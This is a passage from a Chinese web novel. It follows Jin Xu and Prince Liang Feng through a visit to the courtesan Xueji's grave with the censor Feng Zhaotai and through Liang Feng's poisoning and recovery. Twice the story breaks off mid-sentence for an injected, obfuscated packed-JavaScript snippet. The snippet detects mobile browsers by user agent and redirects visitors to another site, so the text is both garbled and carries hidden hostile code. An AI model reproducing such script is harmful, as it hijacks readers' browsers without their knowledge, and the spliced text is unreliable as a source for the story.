“刚才睡过了。” 梁风又拽她的衣袖,“你不去洗漱吗?” “不用你管,”金絮将他手拂开,“没把你伺候好,李管家又要生气了。” “老李哪会生气。”他浑不在意,向她指唇示意道:“你的口脂都干了。” 她迅速拿手背遮掩一抹,再不看他,“你快睡吧,有事喊我。”她离开卧房,顺手关上了门。 四周一瞬间静下来。 她吹熄两根蜡烛,怕点多了光线漏入卧房里会太亮。客榻不容躺身,她只能拥被缩坐着,看着窗边门外的月光,感受这难得的寂静。 夜渐渐走深,越来越冷,卧房里一点动静都没有,梁风应当睡了。 她泡杯粗茶,热水下肚稍觉暖了些。剩下的茶水放在院子里,十三藏身某处,看见这茶水会自己喝的。 开门漏进一丝寒风,吹响桌案上的纸张,是刚才梁风写给她的那张纸。 太黑看不清楚,她凭印象找到叶青的署名,看着看着,眼泪流下来。她一愣,湿暖的感觉滑下脸颊,随即泪痕开始发凉。 她抹了抹脸,拢好棉被,继续看着漆黑的屋子。 再次睁眼时发现自己不知何时睡着了,她侧躺着,脸下触感丝滑柔软,身上棉被厚重,昏沉的脑子还没意识到自己身处何处,就感到一条什么东西搭在她腰上,后背温度很高,轻柔舒缓的气息隔发在她颈间抽拉。她困得动不了,睁一下眼又闭上了。 醒来明显感觉并没有睡饱,她费力睁眼一看,梁风不在房中。掀被穿衣,推开门,堂屋里也没有他,金絮伸个懒腰,睡不着了。 正想做早饭时,外面响起极轻的敲门声,她疑惑,问了一声:“谁啊?” “是我。”是梁风。 她打开大门,梁风披头散发地站在门外,怀里用大氅包着一坨东西。 她呆愣,“你没走?” “我走了。宵禁结束,天还没亮我就走了的,只是我现在又来找你了。”梁风十分坦然。 金絮实在无语了,进屋道:“随你吧。” 梁风望着她一笑,走近摸她的手,“这么早就醒了?没睡够吧,不再睡一会儿?我给你买了早饭。” 原来大氅里包的是早饭。还腾腾地冒着热气。 她无言,洗漱毕为他束发,整饬干净后突然道:“你昨晚占了我便宜。” 他愣了,“你知道?” “我困得很,懒得与你计较。便宜你也占了,可以回府去了吧?” “可是还不想回。”梁风笑嘻嘻地牵她的手,望入她双眼,“你再睡会,我把早饭放厨房热着,你醒了再吃。” 她下意识摸脸,脸上干干净净,顿时不困了,问道:“李管家会过来吗?” 梁风看了眼大门,道:“应当不会。我跟他说我是来找你。” 金絮便坐下,吃早饭。 “今天不上朝吗?” “不上。” 梁风咬一口包子,“阿絮,你觉不觉得你这屋子太旧了些?” 金絮环顾一圈,道:“想必,大周历史有多久,这屋子的历史就有多久。” 这间屋子就要近三百两银钱,她想节俭点,只能不太挑剔日常用具的好坏。 梁风道:“虽然旧了点,但是不大,挺好的,翻翻新再住会更舒服些。” “不翻。” 梁风低下头,喝粥。 金絮看他一眼,道:“别献殷勤了。上次那个五公主宴会之后有发生什么事么?” “没什么,就是郑熹丘引荐了一批新人入朝。” 她皱眉,“劳动郑熹丘出山,只是为了让新人入朝?” “这不简单的,新入朝的那几个人背后的靠山可是郑熹丘,很容易站稳。”他道:“陛下还让我办了两个案子。阿絮,你别问这些。” 她不说话,吃完了包子。 梁风坐过来,揽住她腰道:“阿絮,你让我管着你的。” 吃完早饭,他却还赖着不走。 这时驿站信使送信件上门,梁风替她接了,当先看了眼信封,“是你那小姑娘寄来的。” 金絮接过便拆阅,这次是柔竹写的信。 她看着看着不觉笑出来。 柔竹痛骂了徐礼一番后,表示自去年年初就愈发不耐烦徐礼,出了这事,往后不再屑与此男共度,分干净也好,他要再找什么官家小姐自找去,柔竹清清白白地洁身自爱。 然后还说馄饨铺子也过了最初生意爆火的一段时日,雇了人手,安稳起来。天气暖一些火蓉和凝荷会去大占县埋水夭骨灰,然后再返回太南找柔竹,三个人一起搭伙过日子。信里还问了她在京城过得如何,她们三个随时等着她回去。 唯一不好的是火蓉的腿。上次从牢狱里出来,伤腿表面治好了却落下病根,这个冬天过去反而加重了,隐有半残的迹象,走路已经不大顺当。大夫也很难阻止恶化,火蓉十分坦然地接受了。 “火蓉姐说‘一条腿而已,哪比得上命重要?看老娘还能再舞个金鸡独立!’我真是心疼她,但又欣慰她是真的没放在心上。阿絮姐,我们等你回来啊。” 她笑看完了信,提笔回复,嘱咐柔竹定要尽力治好火蓉的腿,缺银子的话她还有点,随时给她们寄去,以及有什么药材是太南那边没有的话告诉她一声,她能在京城找找。如果实在不方便火蓉就不要去大占县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839804|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,等她回去,她陪着凝荷去大占县。 写完了信,她一抬头,正对上梁风一瞬不瞬看着她的双眼,她推搡他一下,“不许偷看。” 他笑一笑,还是不远不近地看着她。 金絮装好信封,梁风起身道:“走吧。” “去哪?”她问。 “不去寄信吗?” “你也要去啊。” 她穿多一件棉袄,看了看外面天色道:“雪开始化了,你穿多点衣服。” “很多了。”他张开手示意衣着。 她随意拔出被衣领压着的头发,手里系上扣绳,麻绳常系在一起的地方线头炸开,很粗糙,但是打了结后会系得非常紧。她双眼却望着朗朗站立任她打量的梁风,觉得屋子因他而金碧辉煌。 兜里揣好信封,抹了点脂粉与他一同出门。梁风问:“不坐马车?” “没有马车。” 两人在雪地里留下脚印,走两步鞋圈便湿了。寒风按摩她的头皮。她不时看看梁风,他的头发被风吹得快纠成结了,出门前应该给他个帽子的。 顶风抵达驿站,她寄了信,想着回去时买点织线,出门便看见他身旁停着一辆马车。 马车木质坚厚,装饰却朴素,也没有安分王府的标志。 他朝她伸出手,“上车。” 她也不推辞,少让他吹点风也好。 十三驾车,车身驶动的一刻她突然忆起一件事,便问道:“你和冯御史冯棹台的关系好么?” “冯棹台?”他思索一番,“你问这人做什么?” “没什么,就问问。从前在温柔馆他和雪姬相好,我听说他时常去郊外祭拜,不知道是不是雪姬,就想问问。我还一直不知道,雪姬被葬在了何处。” “是有这回事。冯棹台的确经常出城去祭拜雪姬。”他道:“冯棹台在朝中独自清正,不与任何人为伍,我跟他关系说不上好坏。当初雪姬死后,皇兄下旨雪姬尸首交由与棣处置,冯棹台曾向与棣讨要过雪姬,惹了与棣不高兴。与棣便在皇兄面前参了他一本,皇兄并未处罚他,可他仍坚持讨要雪姬尸身,与棣非是不给,将雪姬分尸后一把火烧了,灰不知洒在了何处。” 她不作反应地听着。 梁风道:“这事发生前,朝中本还有人传言与棣背后有冯棹台支持,这事过后便没人这样说了,反而越来越多人弹劾冯棹台作风不正、喜爱流连勾栏瓦舍。” “这样啊......”金絮做猜测:“冯棹台是对雪姬情深吗?还是借雪姬以撇清与三皇子不清楚的关系,继续保持自己在朝中独身不与人为伍的形象?”她想了想,再道:“那三皇子也只是用雪姬的尸身表达自己嘲讽和惩罚冯棹□□善其身的态度?” “可能都有吧。” 一个女子的身体生前死后真是被用到了极致。 金絮皱了眉,“你别插手他们这些事。” 他一笑,“你放心,我没有。” 70. 冯棹台(二) “不过,你是从哪里听说的?”他脸色一沉,“林童忆?” 金絮还未从雪姬处抽回思绪,不及思索梁风为何突然提起林童忆,就听他道:“我知道你还在和林童忆联络,我不是说你不要再与这人往来?” “可是这个新年算是林公子陪我过的吧。大过年的,难得有人串门。”她道:“我倒是想问,你到底有没有让十三监视我?” “你可以来找我,不管怎样,安分王府大门也不会对你关着。”他似是自动忽略她后一句话,“这人的父母死因或许有疑点,我怕他接近你居心不良。” “疑点?”金絮脑子里快速滤出那日林童忆跟她说的话,“可林童忆自己说他父亲是抽绿鸦膏死的,他和母亲在战乱中......” 没说完便意识到自己说漏了嘴,她迅速闭口,将话转回去,“你知不知道冯大人每回是去哪里祭拜雪姬?我想去看看。” 转得实在太过生硬,梁风听了也不说话,略微低着头直视她,眨都不眨。眼神蕴含千斤重的审视,穿透她的灵魂。 她真正无所遁形,嘴角抽搐也抽不出一个敷衍的笑脸来,难堪地低下头。 “我知道在哪里,你若想去便现在去吧。”梁风扬声吩咐十三。马车转了个弯,不绝前行。 车里复静下来,逼仄又窒息,她努力找话却找不到。 梁风握住她的手,与她十指交扣,“在我面前,你不用紧张。” 他的手很暖,他的声音更暖,金絮忍不住解释:“我只是想睡觉......” “我知道。” “我只吸了一点点。” “嗯。” “我没有上瘾。” “我知道。” 梁风轻声道:“我知道你难过,以后你不舒服时可以来找我。” 金絮低着头没说话,感觉到了比绿鸦膏更舒服的感觉。 窗外冷风吹散车内的压抑。车行了很久,终于停了。 梁风扶她下车,所处是一片郊外山林,光秃的树枝作画天空,白雪始融,山间气息湿润冷冽。 林子外也停了一辆马车,梁风看一眼便道:“是冯棹台。” 金絮认不出那马车,“冯大人来了?我记得今日不是雪姬忌日。” “去看看吧。” 梁风牵着她的手往树林深处走。进山了,雪不厚,他走在她前面一步,为她踏出脚印。十三不知隐身何处。 金絮默默看着梁风背影,看到他有所感地回头,她又移开目光。梁风停顿片刻,继续前行。 “我更希望冯御史是对雪姬情深,所以才想讨要雪姬尸身。” 梁风淡淡应声:“嗯。” “但他如果不是,我觉得也可以理解。” 梁风没应,抓紧了她的手指。 温柔馆里的女子谁又能指望真正被那些男人惦记着? 她看着梁风后脑的头发,看得眼睛变干。他又停下,扭头朝她看来。他站位略高,目光斜下照过来,比雪光还刺眼。 金絮两步跨到他身前,“我走你前面。” 行至更深处,见陡坡一大片,墓碑整齐林立。走近细看,碑质大多粗糙敷衍,有的只是块木板,仅刻姓氏,有的连碑都没有。也有多几个字的,基本都是男丁,三四个字交代了身份。 “这里墓地价钱低廉,葬的多数是名伶歌妓、教坊娼女,因为价钱太过便宜,时间长了,很多良籍人死后也被葬在此处。”梁风道。 她问:“我死后是不是也会葬在这里?” “不会。” 他抬手一指,“你看那儿。” 她看过去,墓群边缘一处高地,有个男人站着,只能看见背影。 梁风当先走去,金絮跟在他后面。还未离近,冯棹台闻声看过来,看见梁风,微愣后迅速俯身行礼。 “免礼。” 冯棹台起身,金絮与他对个正着。冯棹台认出了她,目露疑惑。 “冯大人。”金絮行礼。 “你是那......絮娘?” 她不知是应还是不应,委婉道:“温柔馆都关门一年多了,冯大人还能记得我。” “是。”冯棹台时刻注意着梁风,“絮姑娘总是不容易让人忘记的。” 金絮看出来冯棹台边说话边揣摩梁风脸色,是在猜测她和梁风的关系。反正梁风爱去青楼的事整个京城人尽皆知,而且皇帝肯定早就知道梁风身边有个她这样的人,便放任冯棹台自己猜了。 “你们说话。”梁风道:“我一会儿过来。”说完,便独自走去旁边林子里。 冯棹台目光追随梁风,微微疑惑,继而疑惑的眼神转向她。 金絮一笑,“我听王爷说,冯大人为雪姬建了墓碑,便想来看看,没有提前与您说一声真是抱歉。” 冯棹台收敛疑惑,“絮姑娘不必客气。你能来看她,想必雪姬也会欢喜。” 雪姬的墓碑是墓群中最大的一座,碑趺到碑首方正挺直,有半人高,字体整齐崭新,上刻李氏之墓与其生平。 原来雪姬姓李,她都不知道。 “对青楼女子来讲,最大的幸事就是死后还能被人干净惦记着。”她忍不住问:“冯大人,如果雪姬知道你在她死后常来看她,她会欢喜吗?” 他深深注视着墓碑上雪姬的姓氏,“或许不会。” “为什么?” 冯棹台脸上神色无波,“她心不在我这,自然无所谓我来不来看她。” 语气甚至有些埋怨,这埋怨甚至持续了一年多。 金絮不禁问:“冯大人,你知道雪姬接近你是为了报仇吗?” 冯棹台侧目看了她一眼,犹豫半晌才道:“她死后我才知道。” 金絮无言,冯棹台又说:“可她......其实并未利用我做过什么。” 她一愣,想起雪姬还剩一口气地吊在她面前时嘴里挣扎着呼唤冯棹台的模样,“雪姬死前也是想着冯大人的,虽然生前不曾听她说过,但我觉得雪姬这辈子的幸事就是遇见您。” 冯棹台闻言果断又迅速地摇头,否道:“并不是。无路的一生中,眼见着一条大道擦身而过,自己却无法抓住,这才是她最大的不幸。” 一句话仿佛令她透过了雪姬的视角看这世间,她相握的双手指尖悄悄用力掐着细肉,“她的路是被逼没的。” 疼痛挣出了雪姬视角,金絮道:“被逼到无路的人也不只有雪姬。” 腐朽之下,无路之人何止千万。 她突然说道:“流民已经逼到了城门脚下,整个冬季也不见朝廷开仓放粮,糙米的价格都涨到了百钱一石,往后每年的‘雪姬’只会越来越多。” 冯棹台眼眸微微一动,良久地看着她,缓缓道:“粮食短缺实属无奈,让民众不好过也并非我所想。絮姑娘,我代朝廷与你说声抱歉,我保证三月未结束,粮价能恢复到入冬前的十钱一石。” “我......”她哑然于冯棹台的洞悉与敏锐,却不理解他居然会道歉,“无需你跟我道歉......” “粮价涨幅过高是朝廷的责任,我有必要道这个歉。去年初我便向圣上提议早为冬灾屯粮,但圣上将多余的粮食都拨援给了军营,最后还是由各大世家权贵捐粮赈济流民,今年冬天肯定很难再撬开他们的嘴。百姓无法安居乐业,这并不是我想看到的。” 像是一片腐朽之地里有了一处可以落脚的地方,金絮难以言喻地看着冯棹台。 林子里传来梁风走近的脚步声,她眨了眨眼,视线躲着梁风。 “给。” 梁风递了个东西进她视线里,是一小捆巴掌长的树枝,树枝一端被他用小刀割出了枝瓣,瓣尖翻卷,另一端用枯草捆系。 “找不到花,勉强用这个当花吧。” 花?她愣愣地接过。 梁风将他手里的花树枝放在了雪姬碑前。 金絮再看这捆树枝,仿佛枯木生花。她也放过去,雪姬的墓碑却显得愈发萧条了。 寒风再次吹了起来,梁风解下大氅包住她。冯棹台见状作揖告辞,梁风淡淡一应。 金絮透过厚暖的帽檐看着冯棹台走远,所见之景渐渐模糊。远去的背影里有她的希望。 “怎么了?”梁风轻声问。 金絮将一点点眼泪眨回眼珠子里面,“没什么,我们也回去吧。” 返回马车里,梁风将裹着她的大氅合得几乎密不透风,“怎么了?你与冯棹台说了些什么?” 她挣扎出一条缝,“冯御史说粮价上涨,百姓无法安居乐业,是他所不想看见的。他还跟我道歉。” 梁风手指点了一下她的额头,“所以你就被感 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她在堂屋坐了会儿,还没穿外衣,冻得打了个哈欠。挠挠凌乱的头发,哈醒瞌睡,去卧房里穿好衣服,再去厨房泡了碗热汤饭。最后一粒米下肚,暖得精神都好了,于是外出去买织线。 一出门,恰巧碰见两个衙卫抬着担架运送冻死的尸首。她慌忙侧身躲开。 在京城,直接冻死街上的人不多,年前就偶有衙卫暗地里抬着僵死的尸首送去城外埋葬,怕吓着路过的贵人,这在白日里看见已死的人还是第一次。 不过她这种偏僻巷子里的破民屋,尸体大多都打这过。她是运气好,住的时间不长出门又少,没遇见过,估计附近邻居每年就见得多了。 她回身落锁,就听隔壁院子的门被推开,紧接着一声大喊传来: “小絮啊,出门呐!” 不确定是不是叫的自己,金絮循声看过去,见隔壁门口站着一位四十多岁的大婶正面带爽朗的笑,亲切地看着她。 “呃......您是?” “小絮呐,我是黄大婶啊,咱们邻居!”大婶站在原地大喊:“融雪啦,天冷喽,可要穿多些呀!” “呃,是是是,黄大婶好啊。” “你一个人住吧?有事儿找我帮忙啊!我就住这!这儿!”黄大婶一边看着她一边手赶鸡似的向她示意自己个儿院里,双颊冻得红扑扑的。 “哦哦哦好......呃谢谢黄大婶了。” 黄大婶脸上像是与她达成了某种秘密的默契般,眨眨眼,进屋去了。 金絮十分不解,这邻居突然客气了起来。 不多想,她抓紧去布头铺子挑了两卷织布和针线,再采买了几个帽子花样便回家了。 回来时家门口和屋子里都没有人等。 她也无所谓,看着花样比划了帽子的形制后便开始缝制。 又过了一天,无人找她串门。 头几个试做的帽子都失败了,布头被针戳得松散,她又去新买了弹性更大、料子更好的布,最终做成的帽子还算满意,暗层绣了一匹马的轮廓和一支簪子的轮廓。 又等了一天,梁风还是没来。 她拿着帽子去了安分王府。门口守卫认得她,放了她进去,通传的人带来老李,李晟一看见她就道:“王爷前日进宫去了,还没回呢。” “啊这样,那我就不进去了。”她刚跨过门槛便刹住脚步,将帽子递过去,“李管家你帮我把这个给王爷。” 李晟接了,“金姑娘不坐一会儿?王爷或许很快便回了。” “不用麻烦了,我来也就送个东西而已。”说罢,她便回去了。 走到看不见王府的地方突然反应过来,她完全可以让十三替她送去王府,何必自己跑一趟。 心里却突然生起一股不好的预感,遥望一眼皇宫的方位,什么华殿飞檐都没看见。 晚上她坐在窗下赏夜空,乌云蔽月,星星都无。她想起来白天都没有太阳。 这时,踏空声昭然划破寂静,有什么落在她屋顶上,她走外欲看,十三和十一落身院中,急忙告诉她:“姑娘,王爷出事了!” 71. 杀心与菩萨 十三和十一两人抓着她的双臂在尚未宵禁的夜空下飞奔于屋檐之上,直冲安分王府而去。 眼睛被寒风割得看不太清楚,只能感觉到身体的腾起、滞空和失重。十三和十一两人落在瓦片上几乎没声响,仅她有道啪嗒声,不知会否惊动屋内人。 安分王府出现在眼前时她却看清了。府中灯火通明,还未离近,她仿佛已能听见丫鬟仆从还有老李焦急的呼喊。 落地竹苑,不等站稳,就见李晟迎上道:“金姑娘,您可算来了,王爷已等了您许久......” 低低的门槛掠过她的影子,她一眼便看见躺在床榻上的梁风。 床边众多丫鬟忙乱,他盯着门口,看见她的一刻,双眼轻睁,悬在床外的手臂向她张开手指,往外流着黑血的嘴似乎张了一下,什么话都没说,甚至来不及抓住她,梁风便闭上了眼睛。 金絮被钉在原地。 “都给我冷静!” 李婶一声大喝吓住了屋内所有人,也惊醒了她。 “我就不信这世上还有我李萍凤救不了的人!” 李婶指挥众人端水备药摆针,丫鬟剪开他的衣着。金絮没看见他身上有外伤,很可能是中毒。李婶用倒了药液的水浸湿手巾,仔细擦拭梁风的上身后准备施针。 她站到房中的边角,不妨碍到旁人,突然发现梁风的肤色不知何时变得十分白了,之前晒的面具印子消失了,白得均匀又透明,隐隐还能看见血丝。 丫鬟清理他口中的血,挡住了她的视线。 她特别怕,怕梁风这是与水夭临死时一样,吊着气见想见之人最后一面,见到了便把气松开了。 丫鬟备好一应清水和纱布药品一类,陆续退下。 梁风脸色逐渐青白,嘴唇红得发黑,头顶和脚底板都施了针,针尖直立不动。 李婶取出一柄小刀,在他中指指腹轻轻一割,黑血成串地滚下,慢慢变成一股。李婶拿器皿接着血,又在他头顶某处施一针,很快,他鼻子也流出黑血。 金絮忍不住凑近一步。 “姑娘莫慌。” 李婶一句话镇住她的脚步,把她心里镇得安静下来。李婶还能与她说话,证明梁风不算太过危险。 她无声地大喘一气,也退出房间。 “金姑娘。” 李晟站到她身旁。 她想张嘴说话,一时找不到声音,用力空咽后道:“皇帝想杀他了?” 李晟一顿,垂首不语。 金絮清楚老李不便答这话,问道:“怎么回事?” “姑娘,老奴不甚清楚事情首尾,天黑后皇宫守卫将王爷送回来时,王爷已经身中剧毒。”李晟嗓音逐渐颤抖,“王爷进宫一向不带仆从,今日在宫内遭人暗害,陛下、陛下却连御医都未召......” 除了皇帝召见他绝不会入宫,而据她所知,整个皇宫里最想除掉他的人就是皇帝。 杀他,还会给他召御医吗? 她没想到皇帝这么狠心,遮羞布都不要了,堂而皇之地杀掉自己的弟弟。 这昏君竟就一个亲人也不想给自己留? 金絮咬紧牙关,“皇帝有说什么吗?” “不曾。”李晟道:“王爷回来后只想见您,不曾提及陛下有何旨示。金姑娘......金姑娘,您留下照顾王爷几日可好?” 掌心里用力抓着指甲,她轻声应下,“嗯。” 脑中反复出现梁风气若游丝的模样,她挨榻坐下,发软的双腿颤抖起来。 不时有丫鬟端着污血迈出,烛火晃晃悠悠。 “我就是可惜,给他第一颗糖的人不是我。”金絮抱住发软的膝盖,声音比烛火还轻。 李晟正吩咐丫鬟备出西苑房间,听见她这话,朝她一揖,“可是金姑娘,王爷得到最多的糖是您给的。王爷与您在一起,始终是很开心的。” 金絮自嘲一笑,她给的? 她分明没喂过他几口甜的。 正房里安静下来,静得每一个灵魂停止呼吸的声音都听得见。 她牢牢盯着紧闭的房门,许久才记起眨一次眼。 夜不知多深,房门终于打开。 李婶走出来,道:“两日内能醒,便无事。” 李婶面容憔悴许多的,她提着的心并未放下多少。 “这是药方子,每日两副;这是膳食方子,让伙夫拿去照着做。”李婶交代给李管家两张单子,老李接过亲自吩咐下去。 丫鬟清理疗救残物,施过的针尖皆变成黑色。满房血腥气慢慢散去,梁风脱离生命危险,整个王府的躁动平静下来。 今夜不用喂药,仆从们收拾完接连下去休息,她想留下多陪他一会。 金絮坐在梁风身边,闻见很重的药味,想他刚才定是浑身扎满了针,身上都是看不见的针口,连头顶上都有,她想触碰却不敢。只敢摸他的脸和手,触感很凉,印象中他体温从未这么寒冷过。 他面部青色褪去,白得惨烈,金絮头一次这么不喜欢白肤。嘴唇都无色,白得好像没了血。 她要随时探探他的鼻息,确定他还保持着微弱的呼吸,放不下的心才能随着他的呼吸断断续续起伏。 她轻声道:“赶紧醒来,醒得早我带你去吃早饭。” 不知这样看了他多久,房门忽然不作声打开,她看过去,李晟走了进来。 “姑娘,去休息会儿吧,厨里也有早饭,换老奴守着王爷吧。” 她下意识看了眼窗外,不知何时天光已蒙蒙亮,她脑袋懵了一瞬,朝老李笑了一笑,退出房间。屋外天色大亮,余雾未散,雪气透人心脾。 他躺着,全府上下交由老李一人操持,老李肯定分不出心照顾他。金絮还不困,吃了饭便又去看看梁风。 他原样不动,李晟见她来了没多说什么,跟丫鬟吩咐几句便离开了。 金絮摸摸梁风,再探一下鼻息。其实胸膛也有起伏,但她眼睛很花,怕看错了,还是探鼻息好。 过一个时辰,丫鬟送来药。她小心扶起梁风,一点点喂下去。他乖乖喝了。 絮絮叨叨与他说了会儿话,金絮去他书房取来一本《豪侠传》,坐在他床头念给他听。 他最喜欢的书中角色是陶瓶,便专挑写了陶瓶的章回念,他毫无反应。 起身时感觉头有些晕,金絮吃了午饭便睡了一会。 醒来后听丫鬟说,七皇子来看过他,没坐多久便走了。 她继续念书,这回挑写了她喜欢的角色萧誉的章回念。念完入了夜,给他喂药,喂米汤,再擦拭全身。他都乖乖的,喂什么喝什么。原先李婶还担心药会喂不进去,看他喝得这么顺利,金絮心情渐好,等着他尽早醒来。 夜里,不知不觉念完了整本《豪侠传》。 她坐到地上,上身靠着床头。这样腰没那么累了,与他也离得近了些。 她抚摸他的脸,划过他如山峦般的鼻梁,笑唤:“快些醒来,我带你去做个逍遥王。” 隔日,他还未醒。 金絮寸步不离,李婶每隔段时辰就会来察看他脉象,告诉她梁风身体情况, “王爷早年习武,身体底子好。这次剧毒虽烈,但已清除干净,除了对王爷脏腑造成一定损伤,并未危害根骨,今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李婶的私用药房此时散乱了一地医书和画了人体图的纸稿,《百毒典》《万草纲目》《经脉详解》,还有的书名她一看都不知道是什么意思。 李婶从书案堆里抬起头,第一句问:“王爷怎么了?” “他还没醒。李婶,”她问:“你有止疼的药吗?” “止疼?”李萍凤眼下是熬了两夜的漆黑,“什么样的疼?给谁吃的?” “是......抽着的那种疼。” 李萍凤直看着她,浑身是久累不休的疲惫,看了半晌,起身拣出一个药瓶,递给她。金絮伸手去接的同时被李婶抓住手腕,摸了一把脉。 李婶道:“王爷被送回来的那晚,跟我和老李还是交代了一句话的......王爷说,若是他没睁开眼,让我们照顾好你,他不放心你,你没有亲朋......” 金絮缩回手,不等听完就走。回到梁风床边,坐在地上,靠着床榻,吞下颗药丸,尽量贴近他耳边说话,怕声音小了他听不见。 药丸不见效,又吞下一颗。她手指轻触梁风脸颊,慢慢道:“你不能死,你若敢死,我不惜一切代价也要把你皇兄杀了。” 梁风没反应。 手指抽搐着不受控地颤抖,她脸贴着他枕边,抱住身体,蜷缩着隐忍痛苦。 “梁风......我好疼啊。” 心疼,脑疼,全身都疼。疼得让她有些怀念绿鸦膏了。 72. 菩萨与厉鬼 棉被动弹了一下。 她再疼,也没错过看见这一下。 她仔细盯着他的脸。 那雪地山峦的肤色与鼻梁向她偏了偏,漆黑的睫毛掀动雪山风暴,露出了那双久违温润的眼睛。 他的眼神在她注视下很快集中,嘴唇蠕动,无声地说了一句:“疼什么?” 她感觉自己喊了一声,李婶和老李闻声赶来,迅速为他把脉。 说了什么她没听清,只看见各人喜极而泣的表情,和他不顾一切向她伸来的手。心底骤然松了,脑仁深处掠过一抹凉意,然后她没了知觉。 似乎做了很多梦,转瞬即逝,醒来时什么也没抓到。 四肢重得粘在床上,精神不受控地发散,她用力一挣,猛地睁开眼,脑中停留片刻茫然,她反应过来惊地起身,左手不知被什么握住拉了一下。心里那点牵挂被这一拉还没体会过来是怎么回事,就看见梁风闭眼躺在她旁边。 探了探他鼻息......心中刹那间落地的石头几乎砸得她闻见喉间腥甜。 金絮这才四下环顾,她是睡在了他房中。不知距离梁风刚才醒来过去了多久,房里也没个丫鬟。 松开梁风的手,替他掖好被子,轻手轻脚下了床。天色是刚过午不久,她应当就睡了几个时辰。丫鬟候在门外,询问李婶在何处后急忙找去。 李婶正在药房与丫鬟收拾药书,打眼看见她,神色惊了一下,“姑娘,您这么快便醒了?” “他、他怎么样?” “王爷已经没事啦,方才醒来,喝了药又睡下了。”李婶拉着她坐下,“只是这次太险,后续疗养不当极易落下久咳的病根。王爷身体是不如从前了,先养个几月,完全康复后配合适当练武强筋健骨,说不定能恢复病前的身体状态。” “那就好。”她笑一笑,“李婶,这次多亏你了。” “哪的话,是多亏了大家。老李吩咐厨房好好做顿饭,犒劳全府上下这几日彻夜不休、提心吊胆的。你也好好休息,你休息好了,王爷才能真的放心。” “我挺好的......” “王爷今日应不会再醒了,你去好好睡一觉吧。给,睡前把这药吃了。” 她接过李婶递来的药瓶,道:“那谢谢李婶了。” 离开药房,又去看了看梁风。 他睡得安稳,唇色也红了一些,便回西苑洗了个澡,晚饭都没吃吞了粒药就睡下了。 这一觉睡了一天。 醒来后看世界都不一样了。 饿得发晕。得知老李在厨房给她备好了饭,金絮吃饱后径直去竹苑。他醒了之后还没好好看过他的。 竹苑内气氛却很奇异地肃静,她注意到丫鬟进出的脚步都放轻了。 李晟看见她便急急迎上来,“姑娘,您快去看看王爷吧,王爷早上醒来便不愿意喝药。” 金絮快步进去,先是在门口隔帘躲着偷偷看了他一眼。梁风坐在床头,披发下垂遮住耳鬓,低头看着被子不知在想什么,眼神里隐忍闪动,侧看那鼻子真的像座雪山一般。 她放下帘子,接手丫鬟端着的药碗,吩咐道:“给我吧,你再去盛一碗药来。” 丫鬟应声离去,其余人留在屋外,她走近床榻,放下碗盏,坐在他床边。 梁风抓住她手腕,虚虚握着,“阿絮,你怎么样?” “你自己都还没好呢,就管我?” 金絮摸摸他的额头和脸颊,没那么凉了,收手,“我很好,你多关心自己。” 梁风盯着她,半寸都不挪。刚才看还柔柔弱弱的眼神此刻对视起来却仿佛有火苗隐藏其中,那火里有只手向她伸着,渴望她能牢牢抓住。 金絮恍惚知道了以前梁风眼里的她是什么样的了。 除了脸色不太好,其余的看起来都恢复得不错。 金絮失笑,点了一下他的雪山鼻子,“你知不知道你又说错了?哪是我在向你求救,分明是你在向我求救。” 他眼神一阵闪烁后顿时变得燎原,牢牢盯着她,金絮怀疑他此刻全身的力气全集中在这两只眼睛上了。 她抚顺他鬓边的发,问道:“为什么不喝药?” “不想喝。”梁风任性道:“很苦。” “这么大的人了,还吃不了苦?” 梁风神情一顿,眼珠子微微睁大了盯着她,下颌线倔强地咬紧,“我就是吃不了苦,长多大都吃不了。” 一句话费力说完还喘了喘。他似乎想很凶地说,但说出来的话却虚弱得很轻。金絮也不理他,将药碗端起来推到他面前,“乖,喝药。” “不喝。”他撇脸。 “喝了。” “不喝。” “我喂你。”她把勺子紧逼他唇边。 “不喝。” 他终于眉头一皱,语气略微提高,抬手打掉她手里的药。可他力气没那么大,金絮还怕他挥不掉碗,借他势顺利将碗扔到地上。咣当闷响后,黑药泼了一地,那碗滚了两圈却没碎。 梁风一愣,回过神来做错事地看着她,握住她沾了药汁的手,小心翼翼问:“烫不烫?” 药备得温度适宜,当然不烫。她贴唇触了一下,再抿掉,道:“是挺苦的。” 这时,丫鬟端来她刚才吩咐的第二碗药,梁风看见又是一愣,神情讷讷地,眼神一缩,有些不敢看她。 金絮接过药,挥退丫鬟,却是把药碗放在床头,看着他笑道:“不想喝就先不喝吧,你能醒来我就不敢再要求你什么了。” 梁风闻言低下头,眸光水色不明,懂了她的意思,因怒而咬紧的颌线渐渐放松了。 金絮抚摸他的脸,轻声道:“跟我说说好吗?皇帝为什么想杀你?” 他没动,嘴唇轻轻颤抖起来,金絮手指滑过他嘴角,听他小声道:“我喝药。” 金絮于是端药喂他,梁风喝一口,眼睛慢慢红了。 “很苦。” “我知道。” “阿絮......金絮,我很苦......” “我知道。” 喝完药,梁风眼中的泪水也没掉下来,金絮欲喂他一颗蜜饯,哄道:“吃颗蜜饯就不苦了。” 梁风躲嘴,“不吃。”低着头,不拿眼睛对着她。 金絮便喂给了自己,梁风嘴唇颤了一下,眨眨眼,略微不满看着她道:“你只顾着自己甜。”声音有气无力。 他自己将眼泪逼了回去。金絮嚼一嚼蜜饯,口腔里满是甜味后用空药碗接着吐出蜜饯,在他幽怨的注视下,捧着他脸亲触他的唇。他浑身骤僵,眼神收紧,呼吸霎时停止。 